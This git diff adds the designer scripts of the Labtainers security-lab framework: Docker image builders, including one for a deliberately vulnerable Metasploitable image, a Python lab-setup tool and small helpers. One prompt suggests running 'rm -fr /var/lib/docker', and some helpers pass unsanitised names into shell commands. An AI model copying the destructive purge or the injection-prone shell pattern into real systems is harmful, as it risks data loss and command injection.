mode 100755 index 000000000..67642d7be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_lamp_images.sh @@ -0,0 +1,28 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer lamp image. " + echo "Confirm that the labtainer.centos has been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.lamp -t labtainer.lamp:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_master_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_master_image.sh new file mode 100755 index 000000000..8810ccad4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_master_image.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# +# Create a master Labtainer image for use in running Labtainers from a container +# on any system that has Docker installed, withou having to install Labtainers. +# Thanks for Olivier Berger for this contribution. +# +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer master controller image. " + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +cp ../../distrib/labtainer.tar ./ + +cat <bashrc.labtainer.master + if [[ ":\$PATH:" != *":./bin:"* ]]; then + export PATH="\${PATH}:./bin:/home/labtainer/labtainer/trunk/scripts/designer/bin" + export LABTAINER_DIR=/home/labtainer/labtainer/trunk + fi +EOT + +cp ../../scripts/labtainer-student/bin/labutils.py ./ +docker build --build-arg DOCKER_GROUP_ID="$(getent group docker | cut -d: -f3)" -f base_dockerfiles/Dockerfile.labtainer.master -t labtainer.master:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_metasploitable_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_metasploitable_image.sh new file mode 100755 index 000000000..87a631a3d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_metasploitable_image.sh @@ -0,0 +1,33 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +if [[ "$1" != -f ]]; then + echo "This will build the labtainer base image. It is suggested that all " + echo "other images be purged, e.g., rm -fr /var/lib/docker. " + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +fi +here=`pwd` +cd ../ +msf=../../../bigfiles/msf.tar.gz +if [[ ! -f system/msf.tar.gz ]]; then + if [[ ! -f $msf ]]; then + echo "Missing labtainers/bigfiles/msf.tar.gz" + echo "Get the 05.GB file from http://my.nps.edu/cyberciege/downloads/msf.tar.gz" + exit + fi + cp -a ../../../bigfiles/msf.tar.gz system/ +fi +docker build -f base_dockerfiles/Dockerfile.labtainer.metasploitable -t labtainer.metasploitable:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_network_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_network_image.sh new file mode 100755 index 000000000..e54a99438 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_network_image.sh @@ -0,0 +1,28 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer network image. " + echo "Confirm that the labtainer.base has been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.network -t labtainer.network:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_wireshark_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_wireshark_image.sh new file mode 100755 index 000000000..ad854236c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_wireshark_image.sh @@ -0,0 +1,29 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer wireshark image. " + echo "Confirm that the labtainer.network has been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +source ./set_reg.sh +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.wireshark -t labtainer.wireshark:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/new_lab_setup.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/new_lab_setup.py new file mode 100755 index 000000000..c1d161d27 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/new_lab_setup.py @@ -0,0 +1,577 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import glob +import os +import pwd +import shutil +import sys +import argparse +import subprocess + +# Filename: new_lab_setup.py +# Description: +# This is the lab setup script to be run by the lab designer. +# Please refer to the "Lab Designer User Guide" (labdesigner.pdf) +# Note: +# 1. This script checks to make sure LABTAINER_DIR is defined +# +LABTAINER_DIR=None +tdir=None + +def handle_delete_container(tdir, deletecontainer): + # This assumes directories 'config', 'dockerfiles' and 'instr_config' + # have been properly populated + if deletecontainer != deletecontainer.lower(): + print('Container to be deleted (%s) must be all lower case' % deletecontainer) + sys.exit(1) + elif ' ' in deletecontainer: + print('Container to be deleted (%s) cannot contain spaces' % deletecontainer) + sys.exit(1) + here = os.getcwd() + labname = os.path.basename(here) + # Try to remove the container directory + try: + shutil.rmtree(os.path.join(here, deletecontainer)) + except Exception as e: + print(e) + sys.exit(1) + + # Make sure start.config exist already + start_config_filename = 'config/start.config' + if not os.path.exists(start_config_filename): + print('Configuration file start.config does not exist!') + sys.exit(1) + + # Read start.config + start_config_file = open(start_config_filename, 'r') + orig_start_configlines = start_config_file.readlines() + start_config_file.close() + # Write back start.config - minus the + start_config_file = open(start_config_filename, 'w') + deletecontainer_line_found = False + for line in orig_start_configlines: + if line.startswith('CONTAINER'): + if deletecontainer in line: + deletecontainer_line_found = True + else: + # found the next 'container' - restart copying + # by setting deletecontainer_line_found to False + if deletecontainer_line_found: + deletecontainer_line_found = False + if not deletecontainer_line_found: + start_config_file.write(line) + start_config_file.close() + +def copy_container(start_config_file, oldcontainer, newcontainer): + grabbed = [] + with open(start_config_file, 'r') as fh: + grab = False + for line in fh: + if not grab and line.strip().startswith('CONTAINER'): + cname = line.strip().split()[1] + if cname == oldcontainer: + grab = True + cline = 'CONTAINER %s' % newcontainer + grabbed.append(cline) + elif grab: + if line.strip().startswith('CONTAINER'): + grab = False + else: + grabbed.append(line) + fh = open(start_config_file, 'a') + for line in grabbed: + fh.write(line) + fh.close() + +def handle_copy_container(tdir, oldcontainer, newcontainer): + start_config_filename = 'config/start.config' + copy_container(start_config_filename, oldcontainer, newcontainer) + here = os.getcwd() + labname = os.path.basename(here) + source_dfile = 'dockerfiles/Dockerfile.%s.%s.student' % (labname, oldcontainer) + dest_dfile = 'dockerfiles/Dockerfile.%s.%s.student' % (labname, newcontainer) + shutil.copyfile(source_dfile, dest_dfile) + shutil.copytree(os.path.join('./',oldcontainer), os.path.join('./',newcontainer)) + print('** Manually adjust IP addresses for the new %s container **' % newcontainer) + +def add_container(start_config_filename, newcontainer, basename): + # Open start.config with append + start_config_file = open(start_config_filename, 'a') + start_config_file.write('CONTAINER %s\n' % newcontainer) + start_config_file.write('\tUSER ubuntu\n') + start_config_file.write('\tSCRIPT NONE\n') + start_config_file.write('\tX11 YES\n') + start_config_file.close() + +def handle_add_container(tdir, newcontainer, basename='base'): + # This assumes directories 'config', 'dockerfiles' and 'instr_config' + # have been properly populated + if newcontainer != newcontainer.lower(): + print('New container name is (%s)' % newcontainer) + print('New container names must be all lower case') + sys.exit(1) + elif ' ' in newcontainer: + print('New container name is (%s)' % newcontainer) + print('New container names cannot contain spaces') + sys.exit(1) + template_dirs = os.listdir(tdir) + here = os.getcwd() + labname = os.path.basename(here) + # Create the new container name directory + os.mkdir(newcontainer) + for source in template_dirs: + if source == 'config' or source == 'instr_config' or source == 'dockerfiles': + # This assumes directories 'config', 'dockerfiles' and 'instr_config' + # Will add the dockerfile for the new container and modify the start.config later + continue + # populate new container directory with _bin and _system if they exist + if source == '_bin' or source == '_system': + try: + shutil.copytree(os.path.join(tdir, source), os.path.join(here, newcontainer, source)) + except: + print('error copying %s to %s, expected %s to be empty' % (source, here, here)) + sys.exit(1) + + # Make sure start.config exist already + # then update it with the new container using start.config.template + start_config_filename = 'config/start.config' + if not (os.path.exists(start_config_filename) and os.path.isfile(start_config_filename)): + print('Configuration file start.config does not exist!') + sys.exit(1) + add_container(start_config_filename, newcontainer, basename) + + # Now copy dockerfiles/Dockerfile.template.template.student as + # dockerfiles/Dockerfile...student + dockerfile_template = os.path.join(tdir, 'dockerfiles', 'Dockerfile.template.%s.student' % basename) + newcontainer_dockerfilename = 'Dockerfile.%s.%s.student' % (labname, newcontainer) + newcontainer_dockerfile = os.path.join(here, 'dockerfiles', newcontainer_dockerfilename) + shutil.copy(dockerfile_template, newcontainer_dockerfile) + +def renameSVN(old, new): + cmd = 'git status -s %s' % old + print('cmd is %s' % cmd) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + print('out[0] %s' % output[0]) + if output[0].strip().startswith('??'): + os.rename(old, new) + else: + cmd = 'git mv %s %s' % (old, new) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + print("Error from git mv: %s" % output[1]) + +def handle_rename_lab(newlabname): + here = os.getcwd() + oldlabname = os.path.basename(here) + currentlabpath = os.path.abspath(here) + newlabpath = currentlabpath.replace(oldlabname, newlabname) + if os.path.exists(newlabpath): + print('%s already exists' % newlabpath) + exit(1) + shutil.move(here, newlabpath) + # Rename dockerfiles + newlabname_olddockerfilename = os.path.join(newlabpath, 'dockerfiles') + newlabname_olddockerfiles = glob.glob('%s/*' % newlabname_olddockerfilename) + for name in newlabname_olddockerfiles: + fname = os.path.basename(name) + # Replace only the first occurence to prevent replacing the container name portion + newfname = fname.replace(oldlabname, newlabname, 1) + newname = os.path.join(os.path.dirname(name), newfname) + #print "name is (%s) newname is (%s)" % (name, newname) + # Rename dockerfiles as new labname dockerfiles + try: + renameSVN(name, newname) + except Exception as e: + print('error renaming %s to %s %s' % (name, newname, str(e))) + exit(1) + count_container_lines = 0 + start_config_filename = os.path.join(newlabpath, 'config', 'start.config') + start_config_file = open(start_config_filename, 'r') + start_config_filelines = start_config_file.readlines() + for line in start_config_filelines: + if line.startswith('CONTAINER'): + count_container_lines = count_container_lines + 1 + #print "Number of lines that starts with 'CONTAINER' is (%d)" % count_container_lines + if count_container_lines == 0: + print "Can't have a no container lab!" + sys.exit(1) + if count_container_lines == 1: + oldcontainerpath = os.path.join(newlabpath, oldlabname) + newcontainerpath = os.path.join(newlabpath, newlabname) + # Move the single old container as new container as the new labname container + renameSVN(oldcontainerpath, newcontainerpath) + + # Also rename dockerfile again (this should take care of the container name portion) + newlabname_olddockerfilename = os.path.join(newlabpath, 'dockerfiles') + newlabname_olddockerfiles = glob.glob('%s/*' % newlabname_olddockerfilename) + for name in newlabname_olddockerfiles: + newname = name.replace(oldlabname, newlabname) + #print "name is (%s) newname is (%s)" % (name, newname) + # Rename dockerfiles as new labname dockerfiles + renameSVN(name, newname) + + # Read start.config, replace 'oldlabname' as 'newlabname' into start.config + start_config_file = open(start_config_filename, 'r') + config_filelines = start_config_file.readlines() + start_config_file.close() + start_config_file = open(start_config_filename, 'w') + for line in config_filelines: + newline = line.replace(oldlabname, newlabname) + newline = re.sub((r"%s$" % oldlabname.strip()), newlabname, line) + start_config_file.write(newline) + +def handle_clone_lab(tdir, newlabname): + if newlabname != newlabname.lower(): + print('New lab name is (%s)' % newlabname) + print('New lab names must be all lower case') + sys.exit(1) + elif ' ' in newlabname: + print('New lab name is (%s)' % newlabname) + print('New lab names cannot contain spaces') + sys.exit(1) + here = os.getcwd() + oldlabname = os.path.basename(here) + currentlabpath = os.path.abspath(here) + newlabpath = currentlabpath.replace(oldlabname, newlabname) + #print "currentlabpath is (%s)" % currentlabpath + #print "newlabpath is (%s)" % newlabpath + + # Make sure new lab directory does not exist + if os.path.exists(newlabpath): + print "New lab name already exists!" + sys.exit(1) + + # Copy old lab as new lab + shutil.copytree(currentlabpath, newlabpath) + + # Rename dockerfiles + newlabname_olddockerfilename = os.path.join(newlabpath, 'dockerfiles') + newlabname_olddockerfiles = glob.glob('%s/*' % newlabname_olddockerfilename) + for name in newlabname_olddockerfiles: + fname = os.path.basename(name) + # Replace only the first occurence to prevent replacing the container name portion + #print('fname is %s oldlabname is %s, new is %s' % (fname, oldlabname, newlabname)) + newfname = fname.replace(oldlabname, newlabname, 1) + newname = os.path.join(os.path.dirname(name), newfname) + #print "name is (%s) newname is (%s)" % (name, newname) + # Rename dockerfiles as new labname dockerfiles + try: + renameSVN(name, newname) + except Exception as e: + print('error renaming %s to %s %s' % (name, newname, str(e))) + exit(1) + + # Handle a single container lab cloning. Special case to rename the + # container. If multiple containers, we assume the container names + # are not tied to the lab name + count_container_lines = 0 + start_config_filename = os.path.join(newlabpath, 'config', 'start.config') + start_config_file = open(start_config_filename, 'r') + start_config_filelines = start_config_file.readlines() + for line in start_config_filelines: + if line.startswith('CONTAINER'): + count_container_lines = count_container_lines + 1 + #print "Number of lines that starts with 'CONTAINER' is (%d)" % count_container_lines + if count_container_lines == 0: + print "Can't have a no container lab!" + sys.exit(1) + if count_container_lines == 1: + oldcontainerpath = os.path.join(newlabpath, oldlabname) + newcontainerpath = os.path.join(newlabpath, newlabname) + # Move the single old container as new container as the new labname container + renameSVN(oldcontainerpath, newcontainerpath) + + # Also rename dockerfile again (this should take care of the container name portion) + newlabname_olddockerfilename = os.path.join(newlabpath, 'dockerfiles') + newlabname_olddockerfiles = glob.glob('%s/*' % newlabname_olddockerfilename) + for name in newlabname_olddockerfiles: + # rsplit(old, new, 1) + newname = newlabname.join(name.rsplit(oldlabname, 1)) + #print('name: %s oldlabname: %s newlabname %s newname: %s' % (name, oldlabname, newlabname, newname)) + #print "name is (%s) newname is (%s)" % (name, newname) + # Rename dockerfiles as new labname dockerfiles + try: + renameSVN(name, newname) + except: + print "ERROR, could not rename, name is (%s) newname is (%s)" % (name, newname) + exit(1) + + # Read start.config, replace 'oldlabname' as 'newlabname' into start.config + start_config_file = open(start_config_filename, 'r') + config_filelines = start_config_file.readlines() + start_config_file.close() + start_config_file = open(start_config_filename, 'w') + for line in config_filelines: + newline = line.replace(oldlabname, newlabname) + start_config_file.write(newline) + + # If we are cloning - fix the 'parameter.config', 'results.config' and 'goals.config' + # i.e., use the templates configuration files instead + parameter_config = os.path.join(newlabpath, 'config', 'parameter.config') + results_config = os.path.join(newlabpath, 'instr_config', 'results.config') + goals_config = os.path.join(newlabpath, 'instr_config', 'goals.config') + template_parameter_config = os.path.join(tdir, 'config', 'parameter.config') + template_results_config = os.path.join(tdir, 'instr_config', 'results.config') + template_goals_config = os.path.join(tdir, 'instr_config', 'goals.config') + os.remove(parameter_config) + os.remove(results_config) + os.remove(goals_config) + shutil.copy(template_parameter_config, parameter_config) + shutil.copy(template_results_config, results_config) + shutil.copy(template_goals_config, goals_config) + return oldlabname + +def handle_replace_container(tdir, oldcontainer, newcontainer): + # This assumes directories 'config', 'dockerfiles' and 'instr_config' + # have been properly populated + if newcontainer != newcontainer.lower(): + print('New container name is (%s)' % newcontainer) + print('New container names must be all lower case') + sys.exit(1) + elif ' ' in newcontainer: + print('New container name is (%s)' % newcontainer) + print('New container names cannot contain spaces') + sys.exit(1) + here = os.getcwd() + labname = os.path.basename(here) + + # Make sure oldcontainer directory exist + if not (os.path.exists(oldcontainer) and os.path.isdir(oldcontainer)): + print "Old container directory does not exists!" + sys.exit(1) + + # Make sure newcontainer directory does not exist + if os.path.exists(newcontainer): + print "New container already exists!" + sys.exit(1) + + # Make sure oldcontainer dockerfile exist + olddockerfilename = 'Dockerfile.%s.%s.student' % (labname, oldcontainer) + olddockerfile = os.path.join(here, 'dockerfiles', olddockerfilename) + if not (os.path.exists(olddockerfile) and os.path.isfile(olddockerfile)): + print "Old container dockerfile does not exists!" + sys.exit(1) + + # Make sure newcontainer dockerfile does not exist + newdockerfilename = 'Dockerfile.%s.%s.student' % (labname, newcontainer) + newdockerfile = os.path.join(here, 'dockerfiles', newdockerfilename) + if os.path.exists(newdockerfile): + print "New container dockerfile already exists!" + sys.exit(1) + + # Make sure start.config exist already + start_config_filename = 'config/start.config' + # then update it with the new container using start.config.template + if not (os.path.exists(start_config_filename) and os.path.isfile(start_config_filename)): + print('Configuration file start.config does not exist!') + sys.exit(1) + + # Rename oldcontainer as newcontainer + renameSVN(oldcontainer, newcontainer) + + # Rename oldcontainer dockerfile as newcontainer dockerfile + renameSVN(olddockerfile, newdockerfile) + + # Read start.config, replace 'oldcontainer' as 'newcontainer' into start.config + start_config_file = open(start_config_filename, 'r') + config_filelines = start_config_file.readlines() + start_config_file.close() + start_config_file = open(start_config_filename, 'w') + for line in config_filelines: + newline = line.replace(oldcontainer, newcontainer) + start_config_file.write(newline) + start_config_file.close() + + +def copy_from_template(tdir, basename): + ''' + Copy a set of initial lab configuration files into a new lab and + adjust their names and content to reflect the lab name. + ''' + template_dirs = os.listdir(tdir) + here = os.getcwd() + labname = os.path.basename(here) + config_dir = None + os.mkdir(labname) + for source in template_dirs: + if source == '_bin' or source == '_system': + try: + shutil.copytree(os.path.join(tdir, source), os.path.join(here, labname, source)) + except: + print('error copying %s to %s, expected %s to be empty' % (source, here, here)) + exit(1) + elif source == 'dockerfiles': + dfile = 'Dockerfile.template.%s.student' % basename + docker_template = os.path.join(tdir, 'dockerfiles', dfile) + dockerfiles = os.path.join(here, 'dockerfiles') + try: + os.mkdir(dockerfiles) + except: + pass + shutil.copyfile(docker_template, os.path.join(dockerfiles, 'Dockerfile.template.template.student')) + else: + try: + shutil.copytree(os.path.join(tdir, source), os.path.join(here, source)) + except: + print('error copying %s to %s, expected %s to be empty' % (source, here, here)) + exit(1) + + ''' alter template file names, except those that will have altered content ''' + start_config_template = 'config/start.config.template' + start_config_file = 'config/start.config' + adapt_list = glob.glob(here+'/*/*template*') + for a in adapt_list: + if not a.endswith(start_config_template): + new = a.replace('template', labname) + shutil.move(a, new) + + default_string = 'default' + seed_label = 'LAB_MASTER_SEED' + myname = pwd.getpwuid(os.getuid()).pw_name + with open(start_config_template) as fh: + with open(start_config_file, 'w') as out_fh: + for line in fh: + if line.strip().startswith(seed_label): + out_fh.write('\t%s %s_%s_master_seed\n' % (seed_label, labname, myname)) + elif not line.strip().startswith('#') and default_string in line: + new_line = line.replace(default_string, labname) + out_fh.write(new_line) + else: + out_fh.write(line) + os.remove(start_config_template) + add_container(start_config_file, labname, basename) + +def check_valid_lab(current_dir): + is_valid = True + labname = os.path.basename(current_dir) + if labname != labname.lower(): + print('Lab name is (%s)' % labname) + print('Lab names must be all lower case') + is_valid = False + elif ' ' in labname: + print('Lab name is (%s)' % labname) + print('Lab names cannot contain spaces') + is_valid = False + # Valid lab directory will have at least the 'config', 'dockerfiles' and 'instr_config' directories + config_dir = os.path.join(current_dir, "config") + dockerfiles_dir = os.path.join(current_dir, "dockerfiles") + instr_config_dir = os.path.join(current_dir, "instr_config") + missing_config_dir = False + if not (os.path.exists(config_dir) and os.path.isdir(config_dir)): + missing_config_dir = True + missing_dockerfiles_dir = False + if not (os.path.exists(dockerfiles_dir) and os.path.isdir(dockerfiles_dir)): + missing_dockerfiles_dir = True + missing_instr_config_dir = False + if not (os.path.exists(instr_config_dir) and os.path.isdir(instr_config_dir)): + missing_instr_config_dir = True + + # If all three directories (config, dockerfiles and instr_config) are missing + # then DO NOT print the missing directory message + # (lab designer must be trying to create a brand new lab) + if (missing_config_dir and missing_dockerfiles_dir and missing_instr_config_dir): + # Still set is_valid to False + is_valid = False + else: + # Half-baked lab directory? Print the missing config files + if missing_config_dir: + #print("config_dir is (%s)" % config_dir) + print("Missing config directory for labname %s" % labname) + is_valid = False + if missing_dockerfiles_dir: + #print("dockerfiles_dir is (%s)" % dockerfiles_dir) + print("Missing dockerfiles directory for labname %s" % labname) + is_valid = False + if missing_instr_config_dir: + #print("instr_config_dir is (%s)" % instr_config_dir) + print("Missing instr_config directory for labname %s" % labname) + is_valid = False + return is_valid + +def main(): + try: + LABTAINER_DIR = os.environ['LABTAINER_DIR'] + except: + sys.stderr.write('LABTAINER_DIR environment variable not set.\n') + sys.exit(1) + tdir = os.path.join(LABTAINER_DIR, 'scripts','designer','templates') + parser = argparse.ArgumentParser(description='Create a new lab or change an existing lab. If no arguments are given, create a new lab in the current directory. ') + parser.add_argument('-c', '--clone_container', action='store', help='Clone the current lab to a new lab', metavar='') + parser.add_argument('-a', '--add_container', action='store', help='Add a container to this lab', metavar='') + parser.add_argument('-A', '--copy_container', action='store', nargs = 2, help='Add a container to this lab copied from an existing container.', metavar='') + parser.add_argument('-r', '--rename_container', action='store', nargs = 2, help='Rename container in the lab, e.g., "-r old new"', metavar='') + parser.add_argument('-m', '--rename_lab', action='store', help='Rename the current lab to the given name. Warning: may break subversion!"', metavar='') + parser.add_argument('-d', '--delete_container', action='store', help='Delete a container from this lab', metavar='') + parser.add_argument('-b', '--base_name', action='store', help='Identify labtainer base dockerfile', + metavar='', default=None) + + args = parser.parse_args() + + num_arg = len(sys.argv) + #print("LABTAINER_DIR is (%s)" % LABTAINER_DIR) + #print("tdir is (%s)" % tdir) + #print("number of arguments is (%d)" % num_arg) + + current_dir = os.getcwd() + parent_dir = os.path.basename(os.path.dirname(current_dir)) + if parent_dir != "labs": + sys.stderr.write('Lab directories must be below the labs parent directory.\n') + sys.exit(1) + + if args.base_name is None: + base_name = 'base' + else: + base_name = args.base_name + if base_name == 'centos': + base_name = 'centos.xtra' + is_valid = check_valid_lab(current_dir) + if num_arg == 1 or (num_arg == 3 and args.base_name is not None): + if is_valid: + print("This already appears to be a lab directory!\n") + parser.print_help() + else: + copy_from_template(tdir, base_name) + print('New lab created. Use "new_lab_setup.py -h" to see') + print('options for adding components to the lab.') + else: + if args.add_container is not None: + newcontainer = args.add_container + handle_add_container(tdir, newcontainer, base_name) + print("Added new container %s." % newcontainer) + elif args.copy_container is not None: + handle_copy_container(tdir, args.copy_container[0], args.copy_container[1]) + print("Container %s copied to %s." % (args.copy_container[0], args.copy_container[1])) + elif args.clone_container is not None: + oldlabname = handle_clone_lab(tdir, args.clone_container) + print("Lab %s cloned to new lab %s." % (oldlabname, args.clone_container)) + elif args.delete_container is not None: + handle_delete_container(tdir, args.delete_container) + print("Container %s deleted." % args.delete_container) + elif args.rename_container is not None: + handle_replace_container(tdir, args.rename_container[0], args.rename_container[1]) + print("Container %s renamed to %s." % (args.rename_container[0], args.rename_container[1])) + elif args.rename_lab is not None: + was = os.path.basename(os.getcwd()) + handle_rename_lab(args.rename_lab) + print("Container %s renamed to %s." % (was, args.rename_lab)) + print('PLEASE cd ../%s' % args.rename_lab) + else: + print('Did not handle request.') + parser.print_help() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/publish_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/publish_image.sh new file mode 100755 index 000000000..1fd833b92 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/publish_image.sh @@ -0,0 +1,35 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +usage(){ + echo "publish_image.sh image [-t]" + echo "use -t to push to the testregistry:5000 registry for testing" + exit +} + +if [ $# -eq 0 ]; then + usage +fi +if [[ $# -eq 1 ]]; then + export LABTAINER_REGISTRY="mfthomps" + if [ -z "$DOCKER_LOGIN" ]; then + docker login + DOCKER_LOGIN=YES + fi +elif [[ "$2" == -t ]]; then + export LABTAINER_REGISTRY="testregistry:5000" +else + usage +fi +echo "Using registry $LABTAINER_REGISTRY" +image=$1 +docker tag $image $LABTAINER_REGISTRY/$image +docker push $LABTAINER_REGISTRY/$image + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/set_reg.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/set_reg.sh new file mode 100644 index 000000000..92aa4ab77 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/set_reg.sh @@ -0,0 +1,10 @@ +if [ "$1" == -t ] || [ "$2" == -t ]; then + export LABTAINER_REGISTRY="testregistry:5000" +else + if [[ "${TEST_REGISTRY}" != YES ]]; then + export LABTAINER_REGISTRY="mfthomps" + else + export LABTAINER_REGISTRY="testregistry:5000" + fi +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/svn_rm.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/svn_rm.py new file mode 100755 index 000000000..d32512386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/svn_rm.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +''' +Use svn to remove a file, and then modify the parent directory +(using a dummy property), so that affected containers get rebuilt. +''' +import os +import sys +import time +if len(sys.argv) != 2: + print('svn_rm.py path') +path = sys.argv[1] +cmd = 'svn rm %s' % path +print cmd +os.system(cmd) +if '/' in path: + parent = os.path.dirname(path) +else: + parent = '../' + +print('parent is %s' % parent) +cmd = "svn propset file_rm_date '%s' %s" % (time.time(), parent) +print cmd +os.system(cmd) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/README new file mode 100644 index 000000000..8054b9052 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/README @@ -0,0 +1 @@ +The msf.tar.gz file can be retrieved from http://my.nps.edu/cyberciege/downloads/msf.tar.gz diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/apt-source.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/apt-source.sh new file mode 100755 index 000000000..0ea168891 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/apt-source.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# The original /etc/apt/srouces.list is in /tmp +# If not building from NPS, then restore that. +# +# +if [[ "$APT_SOURCE" != NPS ]]; then + if [ -f /var/tmp/sources.list ]; then + mv /var/tmp/sources.list /etc/apt/sources.list + fi +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/firefox b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/firefox new file mode 100755 index 000000000..1c37bdaa2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/firefox @@ -0,0 +1,111 @@ +#!/bin/sh + +set -e + +# Firefox launcher containing a Profile migration helper for +# temporary profiles used during alpha and beta phases. + +# Authors: +# Alexander Sack +# Fabien Tassin +# Steve Langasek +# Chris Coulson +# License: GPLv2 or later + +MOZ_LIBDIR=/usr/lib/firefox +MOZ_APP_LAUNCHER=`which $0` +MOZ_APP_NAME=firefox + +export MOZ_APP_LAUNCHER + +while [ ! -x $MOZ_LIBDIR/$MOZ_APP_NAME ] ; do + if [ -L "$MOZ_APP_LAUNCHER" ] ; then + 